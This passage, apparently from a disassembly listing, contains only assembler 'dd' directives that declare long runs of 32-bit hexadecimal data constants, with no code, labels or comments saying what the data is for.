		dd 0DCD5A9E6h, 39032F3Fh, 0DDBD41A4h, 0F70C1CB2h, 732BA01h
		dd 0CDE45BF0h, 13DC2CFh, 79315ACAh, 0C0D4761Bh,	0C46A0A53h
		dd 24BC2943h, 5745188h,	4241B79Bh, 9FC80C20h, 5EC4498h
		dd 282B935Ah, 0FB671634h, 0A5DE665Fh, 0BA58C839h, 24614343h
		dd 0EA0CE1Ah, 8DE8AB7Dh, 307A942Eh, 42F6A138h, 0D7207FCAh
		dd 69EF707Ah, 0BFD43570h, 27367D28h, 0BF0BCBD0h, 0EBD2858h
		dd 0CD42126Bh, 0E31A942Ch, 5F01AF10h, 0E19F11E7h, 0EA9DA6E6h
		dd 0CD7EBD93h, 0E982B231h, 54965521h, 0D49F0344h, 2C0673D2h
		dd 0F04AFD6Ch, 0C1B43729h, 58A2C994h, 0E2BA27B6h, 76E75D5Fh
		dd 3751A733h, 9676F196h, 53E467FFh, 1293B91Ch, 0D1FBD9Fh
		dd 0EBF68B52h, 1670EAF7h, 85D4EA1Ch, 6F5A9E2Dh,	0F73C6555h
		dd 0ECE96BCDh, 0D11B3DB0h, 7CBACB62h, 0B38465E4h, 0E31FAA5Ch
		dd 0B111C4A6h, 92C7BFFCh, 40E6FDD7h, 7EAD0763h,	0EC692D58h
		dd 0D4920736h, 6493305Dh, 4C84CBE0h, 0F1C2B745h, 0AB6CA530h
		dd 5932878Eh, 48624511h, 0B53CB75Ch, 81F21F00h,	0D962153Bh
		dd 6BA4688Ah, 0CF421493h, 0BF5D935h, 0BC911FABh, 9FEBF281h
		dd 0A521C07Eh, 0B247166Bh, 9702D49Dh, 0AAB8CFA4h, 40775A78h
		dd 0EDAC312Ah, 0B2EDA16h, 702E0563h, 400CC7B0h,	985C34CAh
		dd 76FDE16Ch, 0ADD1619Ch, 880D06ECh, 5B05FE2Fh,	23B0D469h
		dd 0ACA0DEC4h, 7C59FD99h, 9F534E36h, 0F989B257h, 9E041AD2h
		dd 17885194h, 0EE462B28h, 5B192ECEh, 0F5545DACh, 33F1C0D1h
		dd 392E8873h, 0F3BA8808h, 0A63841EEh, 153EE8Dh,	0A93E5578h
		dd 19DC0688h, 0C339A017h, 0F4E23A11h, 7136347Dh, 60E3F05Fh
		dd 3ABBE274h, 42C0DA0Fh, 74EAB058h, 61DFEA68h, 0D8C5085Ah
		dd 16256453h, 0F917059Fh, 4C9E60BAh, 0FF0B6167h, 13FCF2E4h
		dd 0AC6D6FE4h, 0A0828029h, 5829BE8Dh, 260674B9h, 0B3DFEEECh
		dd 0AE240F82h, 31FF5F84h, 0DD970A0h, 1863524Bh,	0DC786DCEh
		dd 92312CB6h, 0FCA1D4A1h, 65EBC3FFh, 3ACBE963h,	0A6F5C93Bh
		dd 25B3CE38h, 0CF2A3451h, 5FE5BE1Ah, 8B16912Ah,	0B3BB1C97h
		dd 0CE852F24h, 5F1649h,	12094AADh, 3EE56D36h, 4D138690h
		dd 0D7E2CCBEh, 0DD18F06Bh, 0E6A193B1h, 2C67148Bh, 0F1D98847h
		dd 477C9678h, 0FEEEFB55h, 94BDE089h, 0EFD5A3A1h, 9BF9A0E7h
		dd 13790571h, 0D6E42E71h, 0B678A8Ch, 0D5DCEA15h, 39CFFD5Dh
		dd 61974AB3h, 0CB9264E0h, 7D713C7Dh, 90DABCE3h,	0CF7DAFECh
		dd 0A23A09BAh, 54FCAB50h, 0C92063EEh, 0E2B417C5h, 8CCE5AA3h
		dd 0EECA7266h, 0AB1E85E9h, 0D9B5E02h, 67FE953Eh, 0F66DA6BAh
		dd 3D78072Bh, 3C2EDCB6h, 0B086E263h, 2660262Bh,	0FC8589EAh
		dd 1AEEF5B4h, 8F9DAF07h, 0A1582353h, 0FCF69611h, 4B3DFBF3h
		dd 287373FDh, 0E621B66Fh, 2D33C042h, 2109998Fh,	0F0C30B3Fh
		dd 0D82E552Fh, 30618EBh, 71407CAh, 0B23126F1h, 0BE650404h
		dd 96C00497h, 118A92B5h, 0DCE4C154h, 6739B00Ch,	311A6613h
		dd 0E44468C3h, 0E9251BD2h, 369EA31Eh, 2B6EB829h, 0CD401E5h
		dd 8BB879E3h, 9D58C4D5h, 5EB78867h, 6C7E91CBh, 0F94E81DEh
		dd 8E2ED79Ch, 8683C92Fh, 1CE1AC46h, 377B9D65h, 0BC2593Eh
		dd 0F0EA5687h, 749D7A7Dh, 175E19C3h, 0FD058F37h, 11AF4F97h
		dd 872AC380h, 6378CEF8h, 0FE622540h, 28EBBE3Ch,	0B40EB0E3h
		dd 7B4CBFB8h, 85FEDAF7h, 95E58568h, 13D6F2F6h, 0AC96D766h
		dd 0DD23633Eh, 0E00889C8h, 4B43C030h, 2ECE5671h, 31FCD40Eh
		dd 0B4687FA6h, 1E058EAEh, 0E8E3E44Fh, 6938BCDh,	0CCD0C40Ch
		dd 969E8E45h, 652C8101h, 0F13878EDh, 80B93AC1h,	550BD326h
		dd 0FF8DEAE2h, 2B0A976Dh, 0E2ED06CBh, 0EC47AD86h, 0FCA017ECh
		dd 0E04ADDFh, 0F7DBC35Eh, 0CD729EF5h, 0C644C110h, 15245B98h
		dd 1051A40Bh, 17D5C23h,	19EB6417h, 2B3440AAh, 2B44927Ch
		dd 0A8919858h, 3A25D264h, 0E0961656h, 0CEA1926h, 3E3904C1h
		dd 74CC18A5h, 0C9E3773Eh, 9EB41E4Ah, 0E182FE71h, 432603ECh
		dd 0D1AB6BF3h, 92F94EA5h, 0FDDAF342h, 0F71AA860h, 0E1BF9D77h
		dd 26F97E38h, 135311C2h, 0DA7DF3D0h, 7C57F0ACh,	97A5E91Bh
		dd 272C3DB3h, 0D4EDF203h, 6A964090h, 652D81E1h,	78E7CC96h
		dd 718F67BFh, 997B46E6h, 6DB05F79h, 0C4B72F01h,	9D71A767h
		dd 5367AE23h, 7C6CEC72h, 0D55A47D6h, 0D9FDD5DDh, 0C678849Eh
		dd 6B61B4A2h, 48EAB3FCh, 130487FFh, 0ABA6BB7h, 464D555Ch
		dd 452D5E85h, 55A576Bh,	382CE85Dh, 0DD399251h, 140A9713h
		dd 0F76BB9B4h, 0FBF7F426h, 0A2D1A5A7h, 2EB32273h, 0DA5AA1C4h
		dd 0AB16A168h, 50F9C4DCh, 39DF51D4h, 5E82908Fh,	1315ED01h
		dd 0F8D2F5B9h, 470FF941h, 31E1D1BAh, 12CC650Fh,	0BD131DE6h
		dd 226F2237h, 9CECF562h, 0FBD73607h, 0EFBAC35Ah, 11204FBFh
		dd 0B6E1315Ch, 5FE24372h
		dd 4010128Ah, 78FCFD52h, 727F6FC1h, 401BE010h, 7B56E35Dh
		dd 97E91346h, 5CAB97FBh, 0B9B8051Fh, 0EC050273h, 0A54BA9C0h
		dd 0EEC48109h, 6011BE5Ch, 9A35C53Ah, 80B03E4Bh,	0D7AD598Fh
		dd 0ADBD0E56h, 5440AFCFh, 2DBC8278h, 0B88C0B64h, 4CF70052h
		dd 0D139CC58h, 4E69464Eh, 0F65E2207h, 11348D50h, 90A48C4Bh
		dd 1B1DC350h, 0B9965CB8h, 8DE5F794h, 90F6166Ah,	85F8CD4Dh
		dd 0ABA23B28h, 2E04E888h, 313E4669h, 0D5E1397Ah, 273BEA85h
		dd 0D1795041h, 280E1AF4h, 0FCC77635h, 0F5E49D21h, 0CD0AFD1Bh
		dd 5588BF02h, 0AFDA1F55h, 2240F93h, 1E411F67h, 0B67CACA2h
		dd 9A9B130Dh, 9980166Bh, 0C9DD426Fh, 9371393Ch,	0FDF40DCAh
		dd 343331C8h, 833B8FF5h, 3DA6516Eh, 768E9D00h, 7415176Fh
		dd 0A7DD1370h, 6E32DAB8h, 0CC6CBC43h, 57C8F325h, 6971BB0Ch
		dd 0D34C614Fh, 0A7446FE4h, 5BEA3BCBh, 1C4B9B4Ch, 7983AB13h
		dd 0D7D840B0h, 92D3066h, 0F9FD109Ch, 270D4E00h,	528479Ah
		dd 0B659D9A4h, 745522A8h, 0BA949C00h, 11D63D89h, 8865EF6h
		dd 0AC83AC0Fh, 240EFC0Bh, 79882460h, 910AD080h,	3FCC6FA4h
		dd 805B8219h, 0E884FA5h, 89668E22h, 0CB5F33AAh,	4343F893h
		dd 37029F96h, 9744186h,	13BEC376h, 927B1DB2h, 7C469EB0h
		dd 2EAB9438h, 0B8B832B1h, 0F53BFDh, 486DB7CEh, 0A28ECE99h
		dd 2741978Ah, 0F46B53B2h, 78145B5Ah, 0DB358200h, 0C9E3FF23h
		dd 117B8328h, 21193ABBh, 84047C4Bh, 5EA0443Dh, 486082CCh
		dd 8F120326h, 3C3C3A0Ah, 0D46CCAF6h, 0C3A16981h, 0BBC597ACh
		dd 3646949Ch, 0B7F79D82h, 7D402CC5h, 0A9D332E4h, 0CBF1DBE6h
		dd 0B9D8A6AEh, 6A9D81B4h, 77A25813h, 0FE3A7172h, 0C8291260h
		dd 7B744BD2h, 3BA50D71h, 0BBBD247Ah, 5FDC5E60h,	92051E23h
		dd 1B6DAEF1h, 0CBB595D6h, 4DB36645h, 997D3A6Fh,	543FCC36h
		dd 3CBEF3F9h, 23B4473Eh, 1EDDC02Fh, 0FF8E12BEh,	0AF3C27F6h
		dd 0AC076ECEh, 2D42D13Fh, 68BFA81h, 21407BC6h, 518AF3ACh
		dd 4E8F45C2h, 0DE0DA928h, 924E37FDh, 0B9D9AD40h, 6E73A9D2h
		dd 982A4CE9h, 0C36C9834h, 0A762C63Dh, 0DD926059h, 6735B78Ch
		dd 0C799152Ch, 0ABEAB2C1h, 0C64262A6h, 8B611852h, 457574D3h
		dd 0CBEA7950h, 572CD3F3h, 0D69F46EDh, 0FCBD1C22h, 3B6643F1h
		dd 0F49C385Fh, 4FD0FEB0h, 0FDFDE6B6h, 17891F46h, 95F56229h
		dd 507A28A0h, 10041091h, 0E143AE9h, 0BF4C7337h,	95AFB3E0h
		dd 6705424Ch, 9CEBCFD2h, 0F27CD46Ch, 86398A7Dh,	3AAE7B43h
		dd 4FCCBBA8h, 2D9BB14Ah, 426D07A6h, 547E0F88h, 62397B42h
		dd 4B6016BAh, 0FB4B2119h, 1BD7170Ch, 305318CDh,	42D85CB0h
		dd 48DBD96h, 5D096E9Ah,	0CC601022h, 0FF4E5005h,	867FF9B1h
		dd 23B179CDh, 0E2CBABD1h, 0EFD938Fh, 74AA8DA8h,	20EB8415h
		dd 2C4A3167h, 2FF4E6F9h, 4CEF516Eh, 6FBA226Fh, 42AA12D8h
		dd 290AD397h, 0AB09DC84h, 0D7A505A4h, 41740B81h, 0C1F082B0h
		dd 4088CF2Ah, 0F05EC35Dh, 0F4EA9404h, 767A4788h, 1AD1E5FCh
		dd 0F47F89F3h, 20FD80B9h, 37E4EC65h, 1979A87Ch,	4B513E19h
		dd 201D1710h, 294C9EE9h, 511336F0h, 44D2F6B1h, 0E1BAD137h
		dd 13A3CCE9h, 0ABE3E7B0h, 0E29A91C2h, 3DABFF8Eh, 55B6DCDDh
		dd 53499D96h, 9861F5EDh, 1EB8FF80h, 7D52767Eh, 0CDFB3948h
		dd 6633FC76h, 45730F89h, 9E26C58Ch, 8B12AD3Bh, 0E81F25F2h
		dd 7AB8A00Bh, 8163AE83h, 112F1F6Bh, 52F83858h, 1902D35Fh
		dd 81F17FBh, 7BAB278Ah,	385CB1AEh, 0FD5CCBFh, 6EE6C7ECh
		dd 0E7DD0C8Eh, 5C028298h, 9CBC6C1Ch, 0EA68A0C3h, 4AB14C56h
		dd 284A7543h, 2E56CCFDh, 61BD73E5h, 6497B26Ch, 0B9924AC1h
		dd 0E54E896h, 0E1D4E9CFh, 0CB18F95Fh, 13C4C60Ch, 39FD0343h
		dd 2D43A173h, 5FEDDE39h, 0A9AE261Fh, 0CFFF9EECh, 0D9D9BB8h
		dd 0A155FD0Eh, 1C1BD27Fh, 13D2C57Eh, 3F31376Ah,	663CACEAh
		dd 8765DFD0h, 0A8979399h, 5293F0C9h, 87262971h,	0FBD5E815h
		dd 6D0492B4h, 0F97B649Bh, 74AE0B5Bh, 3B7ACAFAh,	4D03DE3Eh
		dd 0F79F78A7h, 0A7FD3102h, 3AFC65D6h, 68EF1D07h, 1D5E579Bh
		dd 6DF3DF0Fh, 2A1572A3h, 1C9561B0h, 8B4DFA00h, 0FB862ECCh
		dd 810AB52Bh, 20B5B059h, 0CEC0BF9h, 0FC080DCFh,	7C13E018h
		dd 5861E2B2h, 68C8C6A1h, 0F41A1A03h, 0E24099D5h, 98AD2DACh
		dd 0C790D34Fh, 4994AB15h, 0D02100F0h, 0E0518630h, 0C54E548h
		dd 4E7B24F7h, 61DBE994h, 9CD30DA7h, 0F2388933h,	0AB77BE8Dh
		dd 5CC60BEEh, 1C9CEF9Fh, 642A1AC8h, 0FC566CEEh,	3B9101Dh
		dd 0F2F55AF4h, 2F52D032h, 66FFD766h, 64C0D43Eh,	566A0AD9h
		dd 26605260h, 0D3E6571Ah, 33CB5F84h, 32814809h,	0BCA4F148h
		dd 93929F4Eh, 0C7D5C005h, 3E2B377Bh, 4D21D9Eh, 5FA258AFh
		dd 6AF224D9h, 0AEA9857Ch, 32137AC4h, 0B8865EDh,	6CA9E5F2h
		dd 57FC2E02h, 0A0C6FE72h, 40CB2E32h, 9FD5DF46h,	0DA735AE7h
		dd 70EBA592h, 16D67577h, 2BAEFB87h, 0B87042DAh,	65DBDAC5h
		dd 749593B5h, 9ECFB5E3h, 6B7A94B1h, 765C48B8h, 0AF62544h
		dd 7FDE1A9Dh, 0D0E88A25h, 0AEA1C7C5h, 6A59C32Fh, 5C6AA9A1h
		dd 0D0A6BF2Eh, 44D5B77Dh, 0BC5B164Eh, 0BB8F4274h, 0BB4DF1D1h
		dd 0E3FB95Bh, 0D8F89565h, 566E2EF3h, 26B89C6Bh,	56C3439Eh
		dd 0D1E30531h, 0D74AE927h, 0BC033A6Ch, 959CE101h, 0E5661B7h
		dd 9A9F3D30h, 1C99291Eh, 740C8A63h, 4024D800h, 9D67730h
		dd 0B3E96BD7h, 0DB7EB0B4h, 0B8C6013Eh, 1C50EE28h, 548AE795h
		dd 1B66CAD0h, 0E8951FBEh, 495E455Eh, 0C791BEABh, 2AAAA02h
		dd 0CBB08717h, 990324AAh, 9C64CB3Ah, 80F41E1Fh,	0DE63ABA8h
		dd 92C9E938h, 5DB1A2DDh, 0E566CA6Ah, 3F60B7CFh,	0F8CCB54Ah
		dd 8B8B3D8Ch, 0CFE31621h, 0EDA35F93h, 8DD7174Bh, 7650BBF5h
		dd 0FE096AA0h, 52459F1Ch, 0C1A153C4h, 0F5E6F6DEh, 7E4B5BBEh
		dd 0F9E7C7D8h, 2F0104CEh, 519B68FDh, 80A5153Fh,	205C800Dh
		dd 6E0FA5CFh, 0BC55709Bh, 0D4A64A65h, 0EA766E94h, 0BFBEF6ABh
		dd 65F529B6h, 0F8A6616Dh, 5233A9C2h, 530D7A55h,	1BE7C4CDh
		dd 460C6BAh, 182FAE19h,	0EE31D579h, 1AD4BE29h, 5DEE2656h
		dd 62941DD0h, 0A0FECC0Eh, 0E99C8CCEh, 0AD05C19Ch, 779A90Dh
		dd 0E4A518FDh, 0D13F11Dh, 0F99F122Bh, 58CD37DBh, 0E3C7E3DCh
		dd 0B03AB364h, 0C342B223h, 0BB196DE5h, 733A622Eh, 21C3568Eh
		dd 0BD6101C6h, 2711BF9Dh, 5B5A7340h, 0A5A22FCh,	9C94A0E0h
		dd 0D6EBFB0Dh, 88EDC75Ch, 1E72065Dh, 0C3BAD07Fh, 0FD19D13Ch
		dd 0CA8313EFh, 0F0BCF543h, 572C0B9h, 0F36EE2FBh, 0EAE2A560h
		dd 36BA3F85h, 3119C837h, 0EF96465Fh, 0C9F2A98Bh, 978A0E79h
		dd 8F504F3Bh, 8864B819h, 0AA291129h, 0A4975818h, 796EC167h
		dd 5B35FA9Bh, 0F14EAA5Bh, 7B983061h, 4F39C12Fh,	4EF4ADBh
		dd 0BAA431F1h, 1A58BFD4h, 8194EBDBh, 0D16A07D2h, 5F6B47E5h
		dd 837DEADCh, 12149AA8h, 85287DC8h, 0C1AA4ADAh,	6A8D084Fh
		dd 0B2DD3A25h, 2EAAA3EBh, 88E9B4CBh, 3D287023h,	63542E3h
		dd 1E4F613Dh, 0D95869A6h, 135D830h, 2319E55Ah, 9E761EB2h
		dd 948C7F94h, 608668A1h, 0EDDFEF90h, 0DEB6E977h, 0DB809C9Ah
		dd 0E6A901BDh, 4855C870h, 0A730720Ch, 0F49073AAh, 36902BB2h
		dd 0D9BDEEAFh, 58442746h, 0FEAD2A04h, 4E656C41h, 292B142Dh
		dd 0A32A2286h, 8F866112h, 0A669B0Eh, 3BFE240Ah,	1C5666A8h
		dd 0E4AAA6FBh, 0A26B171Ch
		dd 0D57C5097h, 967D8CACh, 1938F35h, 878C34EAh, 0B2DA7766h
		dd 0B8DE9Fh, 0C1E13060h, 913939C6h, 8312BDCBh, 444EC358h
		dd 366664A7h, 0AF6505C7h, 239DAFB9h, 180A69BDh,	0B98639F2h
		dd 6FC20AD7h, 16DE8399h, 90E9935Fh, 0DCE984BDh,	339C0ED6h
		dd 0F0D59545h, 6292F6CAh, 0B12108A2h, 78C86DCCh, 0FDBF93F5h
		dd 0C15BF077h, 0F46EA309h, 19DF4E3Bh, 0F51A8DABh, 0C04BF2FBh
		dd 89B83F45h, 0E1A63AD3h, 1442763Fh, 9602C43Bh,	8916D2B9h
		dd 4DAFA7B1h, 527762BDh, 27E2F0C0h, 37D20036h, 21472ABDh
		dd 590B13BDh, 0B370B17Bh, 0D04BAC76h, 3A302C12h, 74C3D777h
		dd 20D441A3h, 4995B209h, 0C4C2CD31h, 1F548256h,	0F70B1636h
		dd 2DFB3Eh, 6718DA2Ah, 114654D3h, 57D23A01h, 9523DFC3h
		dd 0A9174FEEh, 0E97EBC52h, 0FD9861A7h, 0D082100Bh, 0E0859258h
		dd 0E4CD933Bh, 25AFC8C4h, 907F106Bh, 921D474Ch,	6D5FE89Ah
		dd 2A573D94h, 640F3D0Dh, 0DF871BCEh, 5F0351F2h,	7E2BA66Bh
		dd 0E1B41468h, 0C161C1DBh, 0E355D20Bh, 68AC7E94h, 0E9E1D9C7h
		dd 438312C3h, 63132836h, 436937E6h, 0E79B3770h,	0AB0A76AAh
		dd 33898873h, 7AA0781Ch, 4D735A44h, 9B450DF7h, 4BDB482Fh
		dd 55876060h, 0D445E80Ah, 4C2C05D5h, 25B51138h,	7D9C346Ch
		dd 0CA52281Dh, 0FFF1FBACh, 0D82B4FCBh, 0FA3C1939h, 0A58D0792h
		dd 366D1600h, 7ADFDFC3h, 0A3542820h, 0FAF09C48h, 0D8B8D6E9h
		dd 92D74EECh, 77DAA8B0h, 762769B2h, 0A21BF1A6h,	0AADA0680h
		dd 0DA056F99h, 32CC7CB2h, 8EC3CFE0h, 10A95B7Ah,	6BA11751h
		dd 88FBFE5Ah, 0CCA18D04h, 166DB751h, 0D5F54915h, 0DA294C9Eh
		dd 36C47051h, 77506DCh,	9D019F03h, 1EB661E9h, 42FAD535h
		dd 23317EEAh, 414AA60Eh, 0B3631AD7h, 4A63B739h,	9BADCCA6h
		dd 0A0837971h, 5BE3DCB4h, 0BAE458Ah, 0A97ABDC1h, 0B619D7B2h
		dd 0EE7CE59Bh, 680549Bh, 23DD99C6h, 955DAC8Bh, 77894CB5h
		dd 4925ED59h, 0EA1AB8F9h, 9F450662h, 388424Eh, 76CD441h
		dd 7C54C248h, 2D0E8272h, 3F6C893h, 33B6B18h, 80D555C3h
		dd 0B76583A9h, 716E9D8h, 7569E760h, 18B4F1D0h, 6430A159h
		dd 3AC74874h, 0DE3AB1D3h, 62074C70h, 90699501h,	7C2666Ch
		dd 97FFDC9Dh, 0D0804C4Fh, 31DBAACDh, 8EF7D1E7h,	0A85F0EC5h
		dd 6A92D5B4h, 6356A57Fh, 44B41323h, 36EE9E0Ah, 0E86874C3h
		dd 7A9CFB7Ah, 66B6307Eh, 0F49EB711h, 0EE21CF01h, 0BAD1CC8h
		dd 0DACC7425h, 5F561D61h, 57ED955Fh, 0A49AACB0h, 8DFD3469h
		dd 0B553B12Dh, 0EF12FCCh, 593579B7h, 1BBCB0F8h,	31D89A87h
		dd 73215C23h, 0F0729127h, 917C6C44h, 4FE69DEh, 821C8B2Ah
		dd 6926D062h, 37E96FD8h, 1DDF5383h, 55BC1A5Ah, 0E3C6B979h
		dd 5E6DAA8Eh, 14E5FEF5h, 0CF4B0662h, 26075408h,	0BFEFEB2Fh
		dd 0CEB0A9Ch, 50A86199h, 0E63605D3h, 0C2A71A89h, 9119F708h
		dd 0CFB139C3h, 81C520B3h, 0CE8F764Ch, 2631AC1h,	1124BE92h
		dd 64BF9320h, 0E9C9D8Dh, 0BC59B56Ah, 0D15CF408h, 8FEEDA0Bh
		dd 95DD3FCDh, 10169227h, 0C7FC7B4Fh, 0C3CEB9A9h, 2FD07B1Eh
		dd 5360AA6Eh, 0AA6814D6h, 57E7221Eh, 7E8A37FCh,	88037714h
		dd 4CABE424h, 4436615h,	60ECB76Ch, 819EC729h, 22B3D87Ch
		dd 0BDD1D78Fh, 9D8ADAD9h, 1177ECA0h, 0DE3B4A5Ch, 0FA3E850h
		dd 0A185B67Ah, 19DF948Ah, 18CCFE6Dh, 48F6C400h,	0A119E19Ah
		dd 138C50h, 4BCD41C7h, 56EB873Dh, 0A92699D1h, 838B10E8h
		dd 4499F854h, 0E2B024CAh, 0E7D98ADAh, 7FB15BF6h, 26B1314h
		dd 665D5F42h, 0F39C3AC2h, 0FADB9A8Dh, 0D57DA010h, 570053D0h
		dd 0F6A12E9Bh, 90602248h, 71819FAh, 471AD933h, 9C71E722h
		dd 0EECCE37Bh, 0AFCB96A2h, 788125B6h, 0E59A98C5h, 145C9AB8h
		dd 0FCAC8CDDh, 5BC6CCC8h, 0F29BE79h, 0A4BA90Fh,	635C4673h
		dd 0A31706B0h, 2B93666Bh, 0C40071D5h, 0BF88E276h, 68E9EA4Ch
		dd 40233268h, 0E65F05BDh, 96446A18h, 7E8BA280h,	30911AAAh
		dd 43A570D9h, 68BCD979h, 0DDAC0CE9h, 2EF8E39Fh,	3105FBFEh
		dd 69156C9h, 0FD07FF50h, 0D383F5h, 477A927Ch, 495C0F9Eh
		dd 3C1F59ECh, 5BF25A36h, 369DCDEEh, 0AE101CA3h,	278EC21Fh
		dd 91CC4AC5h, 8E116452h, 23073B4Dh, 23688320h, 0E8610AFBh
		dd 0DC516AD7h, 2CEC4521h, 1BB9FD8h, 40E0ACEEh, 56653ADh
		dd 2559EE73h, 0CF536A7Dh, 76A63355h, 526B6B00h,	0BBD3EBF9h
		dd 46D2FCB2h, 8D2569D1h, 0E5E4ACBEh, 0AC77313Dh, 2032B7DAh
		dd 60A9408Bh, 0A4AADF2Bh, 64446FB1h, 3765BB15h,	4D29E927h
		dd 69D1F04Ah, 0F838B4DCh, 71FE6157h, 375663D3h,	0CE13BD4Eh
		dd 989F8C02h, 0CE1301FCh, 45E75928h, 7D83825Eh,	51A836EEh
		dd 1257E201h, 0D378999Fh, 0DEB7AA23h, 0D83FD8C6h, 0BD68BAC3h
		dd 31AF341Bh, 703182Ah,	0D2A2D3A9h, 0D2B88C18h,	63ABC6CDh
		dd 1AACAD37h, 8D49B7AFh, 2401D3DBh, 0F40112B6h,	1A6E0207h
		dd 9BD81779h, 85BA9B1Bh, 316D5DC6h, 0F262221Dh,	0C6FF55F7h
		dd 0B6BAD101h, 878BD985h, 19A400F9h, 9B53E93Dh,	93C1DB04h
		dd 0DF539B38h, 65C5324Bh, 93F507F9h, 74010C88h,	0FE155275h
		dd 89A66E13h, 0C1513F24h, 34081094h, 8CF8C769h,	8A09C91Fh
		dd 0A393BBDEh, 0D965BC3Ch, 49C5B7FCh, 0BB5CA020h, 13162h
		dd 471E5AB0h, 3697D861h, 608BE3D2h, 7E471EBFh, 0C130019Dh
		dd 0DECF79C8h, 0EF2AA216h, 0B9919656h, 966ACA25h, 6A7CAA1Ah
		dd 0E4BA3977h, 2984825h, 78BA42A7h, 0E6E4F34Bh,	2D5782D0h
		dd 5B424EF8h, 7A6887CBh, 59124434h, 34DA21F6h, 2E11AF73h
		dd 0CC95C862h, 11B25583h, 2AC1D883h, 0DF2A630Fh, 28B101C1h
		dd 20277CF2h, 6E930E4h,	0F10A7CB0h, 0C13D51AFh,	0D68954D6h
		dd 35CB0EB0h, 0E817D1D9h, 0B4D6482Ah, 0AC88F812h, 7F55680Ah
		dd 0A2C9942Ah, 50E20F7Fh, 0DB9A46D8h, 0FAE70761h, 478E4F7Eh
		dd 6573BCAh, 0F808B59Ch, 8A5B2A81h, 1E17B09Fh, 0B1206275h
		dd 62210C8Fh, 0FD779990h, 9149F846h, 0F4A72A5Ch, 359CA684h
		dd 0C4147C35h, 9E7F6EE5h, 23A53CEFh, 0FD18BB9Dh, 0CEA79FBBh
		dd 0CBB046CCh, 0E2883DEh, 0F5320015h, 140F2E73h, 2DF486h
		dd 0C8379441h, 7ACF5C4Ah, 1D037FC7h, 2B16037Dh,	0A7DF3A49h
		dd 30B252E6h, 0D5A8102Eh, 3B7929CBh, 19A5FA9Bh,	0AB18A369h
		dd 0D0ED1C60h, 0C31F92FEh, 4B291ED3h, 3C105E04h, 1A2716A5h
		dd 9B706CB9h, 0EA393296h, 6F5AD70Ch, 0B9674381h, 0D894DAB0h
		dd 0B82CA0E7h, 5356D6A2h, 895558B1h, 2BDC3DC8h,	83B01F82h
		dd 2FA9BC79h, 84F2A74Eh, 3010C466h, 9A782463h, 8E8562EFh
		dd 22AFEBC4h, 3765C132h, 4F9C3F26h, 2E37E9CAh, 0DE430B3Dh
		dd 834452FDh, 7D58D9C8h, 27F9B8C6h, 56A9E485h, 8CF5BF9Ah
		dd 9E8CB62h, 0E44AB15Bh, 9BCB2E4Ch, 8CC8ECE1h, 1B219CC5h
		dd 8F6027DFh, 55BD08Fh,	50BF7D80h, 0D615A4C9h, 1C032156h
		dd 2B2E510Eh, 1E8AC12Fh, 44A6D1FAh, 0FF98D533h,	343D030h
		dd 0A05E81D4h, 77FE4A52h, 19FEFD8Ch, 5E40BB7h, 4A0C3BFAh
		dd 0B0343044h, 480C5D9Ah, 856C197h, 0E449180Ah,	2301E6BAh
		dd 49DC7CA4h, 0AF270141h, 0A07269B8h, 0C2DFE4DCh, 0AF798F11h
		dd 5D39AB3Fh, 2B24A718h, 6FB8A978h, 0A2701BE9h,	5F49ED47h
		dd 8CB78EC0h, 4C886662h, 71B30B97h, 0BD822EF5h,	6BFE29B6h
		dd 951FEFE0h, 6BDDA81Dh, 0F0F1DBEEh, 1FCA6C08h,	6DCEC881h
		dd 2DA18321h, 7FDA0F82h
		dd 9147416Eh, 63A103E3h, 0BD854017h, 29C07BE7h,	88F6B79Ah
		dd 9B3F4047h, 52763309h, 994714DFh, 0A6B6F277h,	59CFD30Fh
		dd 58557C3Dh, 0F6E91A12h, 0C4FEB919h, 0FECA7506h, 2C8607B5h
		dd 0A321417Dh, 9C2ACE8Dh, 0B1EDC591h, 45497A7Eh, 21D5F78Eh
		dd 30AC477Ch, 2645346Dh, 8EE7967Bh, 0E1CA3DABh,	64D127B1h
		dd 4E6FEA73h, 0E56B3968h, 89FDE97Fh, 0D96059EFh, 3A2ECF67h
		dd 10D794FFh, 2DEB132Bh, 3A5E4363h, 988A80F1h, 79341E9Dh
		dd 5ED2B580h, 0F2F81B40h, 450F47B1h, 1B4117BFh,	56548956h
		dd 7DF017D5h, 0B42D836Bh, 54CADF22h, 3180D894h,	0F3CDFB1Eh
		dd 0A4469492h, 4AC91548h, 47B48AB1h, 9D489880h,	3EDE4B19h
		dd 13E46C9Bh, 99AAAD47h, 0B658A0D7h, 72F6A605h,	0C34EDFC4h
		dd 83D4E3B5h, 752C3092h, 0E42CA56h, 0F1F071EAh,	4D463567h
		dd 0F82186D3h, 21A1AF0Ah, 7B1C4A86h, 0C8108292h, 6573E247h
		dd 0AC032935h, 6C853662h, 0D1A74C3h, 6A187DCCh,	463D7A88h
		dd 6898AA33h, 0AA134D06h, 23A7743Ch, 617CA1DCh,	4FA4A508h
		dd 0BA6C9560h, 0D2072EC0h, 0B9091485h, 6418D39Fh, 30777B18h
		dd 4C5F7CEh, 65C6FC36h,	25B9D58Fh, 0BCE625A6h, 0F7CF34E2h
		dd 0FAE451F3h, 2C0DC981h, 0C7A2A73Fh, 6AEB5631h, 0E565C4F0h
		dd 64C22CF9h, 7296807Fh, 0E2D0127Ah, 985E3F86h,	635DDF4h
		dd 0FF367650h, 64569962h, 0FF663D3h, 56C8DBA4h,	5035AAD8h
		dd 0FDA5A5B6h, 1365945h, 0E7AEB88Eh, 5C15C451h,	281F5026h
		dd 0E22F292h, 715C8B62h, 0CFE0ED2Eh, 0DA5D4590h, 104E48Dh
		dd 27F22472h, 0E5FC2D9Fh, 62427E34h, 0BDB904DDh, 0EDB7C7A2h
		dd 7F38A8D3h, 0B03CF530h, 23999521h, 66FE1918h,	0B6504680h
		dd 0C9A67A81h, 0D4DAE589h, 0AB022D27h, 5D202FA1h, 903142D6h
		dd 82078779h, 866649B8h, 0E60185A7h, 62E71D2Dh,	232B30ECh
		dd 0D272969Eh, 13D85DC7h, 3005434Bh, 0E71C3562h, 7DC60B6Dh
		dd 0B7E84F3Eh, 0F70ED284h, 9F7F7280h, 4DCBA655h, 6E0B581Fh
		dd 60B061F3h, 152E8BF4h, 2F1B2187h, 5338A342h, 42B1428Ah
		dd 6A4B4490h, 0FF457C65h, 0FE7016CDh, 34239538h, 550C3649h
		dd 63428BCBh, 0D47625C6h, 0AB207AD5h, 0AD51A1DBh, 4A05D65Eh
		dd 73D4916Fh, 5D62AD94h, 1B5C25Eh, 16D09411h, 0A72672D0h
		dd 87917795h, 78E15Dh, 8ABBA7A9h, 44A65962h, 3D3C0ACh
